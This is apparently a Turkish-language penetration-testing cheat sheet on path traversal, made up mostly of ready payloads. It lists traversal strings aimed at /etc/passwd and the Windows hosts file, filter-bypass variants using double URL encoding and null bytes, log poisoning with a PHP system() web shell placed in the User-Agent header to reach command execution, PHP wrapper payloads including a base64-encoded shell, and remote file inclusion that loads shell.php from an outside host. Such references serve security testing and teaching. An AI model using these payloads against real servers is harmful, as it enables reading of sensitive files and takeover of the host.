Path Traversal

Path Traversal Nedir?

Path Traversal veya Directory Traversal, saldırganın bir uygulamayı çalıştıran sunucudaki herhangi bir dosyayı okumasını sağlar. Bu dosyalar uygulama kodu ve verileri, backend sistemler için kimlik bilgileri veya hassas işletim sistemi dosyaları olabilir.

Bazı durumlarda, saldırgan sunucudaki herhangi bir dosyanın üzerine yazarak uygulama verilerini veya davranışını değiştirebilir ve nihayetinde sunucunun tam kontrolünü ele geçirebilir.

Yöntemler

Full Path

/etc/passwd
C:/windows/system32/drivers/etc/hosts

Dizin Değiştirerek

../../../../../etc/passwd
../../../../../windows/system32/drivers/etc/hosts

Korumayı Atlatma

....//....//....//etc/passwd
....//....//....//windows/system32/drivers/etc/hosts

URL Encoding

..%252f..%252f..%252fetc/passwd
..%252f..%252f..%252fwindows/system32/drivers/etc/hosts

Dizin Kontrolünü Atlatma

/var/www/images/../../../etc/passwd
C:/inetpub/wwwroot/images/../../../../../windows/system32/drivers/etc/hosts

Eklenti Korumasını atlatma

../../../etc/passwd%00.png
../../../../../windows/system32/drivers/etc/hosts%00.png

LFI To Rce

User-Agent: <?php echo system($_GET['cmd']); ?>

# Linux
http://example.com?page=../../../../../../var/log/apache2/access.log&cmd=whoami
http://example.com?page=../../../../../../var/log/apache/access.log&cmd=whoami
# Windows
http://example.com?page=../../../../../../xampp/apache/logs/access.log&cmd=whoami

PHP Wrappers

http://example.com?page=php://filter/convert.base64-encode/resource=/etc/passwd

http://example.com?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls

RFI

http://example.com?page=http://192.168.1.3/shell.php&cmd=ls

Araçlar

Burp Suite Active Scan

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/file-path-traversal

Last updated